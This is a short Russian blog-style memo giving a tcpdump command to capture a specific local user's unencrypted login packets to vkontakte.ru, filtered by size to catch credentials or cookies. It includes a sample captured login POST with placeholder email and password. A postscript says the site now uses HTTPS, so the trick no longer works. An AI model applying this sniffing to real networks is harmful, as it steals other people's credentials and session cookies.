Пример команды для отлова «значащих» пакетов от конкретного пользователя на конкретный сайт. Размеры от 600 до 700 символов выбраны мной экспериментально. В пакетах такой величины с наибольшей долей вероятности будет содержаться логин и пароль, но конечно при условии если пользователь залогинится после запуска программы. Если он уже в системе, то можно брать cookie, но логин с паролем конечно иметь интереснее.
1 | tcpdump -s 0 -l -A dst vkontakte.ru and src 192.168.0.11 and greater 600 and less 700 -w /opt/var/log/vkontakte.log & |
tcpdump -s 0 -l -A dst vkontakte.ru and src 192.168.0.11 and greater 600 and less 700 -w /opt/var/log/vkontakte.log &
Привожу пример запроса которые поймался
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | POST /?act=login HTTP/1.1 Host: login.vk.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 GTB7.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://vkontakte.ru/ Content-Type: application/x-www-form-urlencoded Content-Length: 112 from_host=vkontakte.ru&captcha_key=&captcha_sid=&expire=&al_frame=1&email=user%40yandex.ru&pass=password |
POST /?act=login HTTP/1.1 Host: login.vk.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 GTB7.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://vkontakte.ru/ Content-Type: application/x-www-form-urlencoded Content-Length: 112 from_host=vkontakte.ru&captcha_key=&captcha_sid=&expire=&al_frame=1&email=user%40yandex.ru&pass=password
Это просто «мем» для себя. Параметр -l здесь необходим для того чтобы при демонизации процесса с помощью & программа писала вывод в файл, если не указать, то файл останется пустым. Еще нужно помнить о том, что в этом случае мы не сможем прочитать сами запросы, они запишутся в бинарном виде. А заголовки сможем. Поэтому если нужно читать сами тела запросов, не указывайте параметр -l и не пишите в файл, а пишите на экран, там будет все видно.
p.s. Контакт давно перешел на https и с помощью этого примера поймать авторизацию не удасться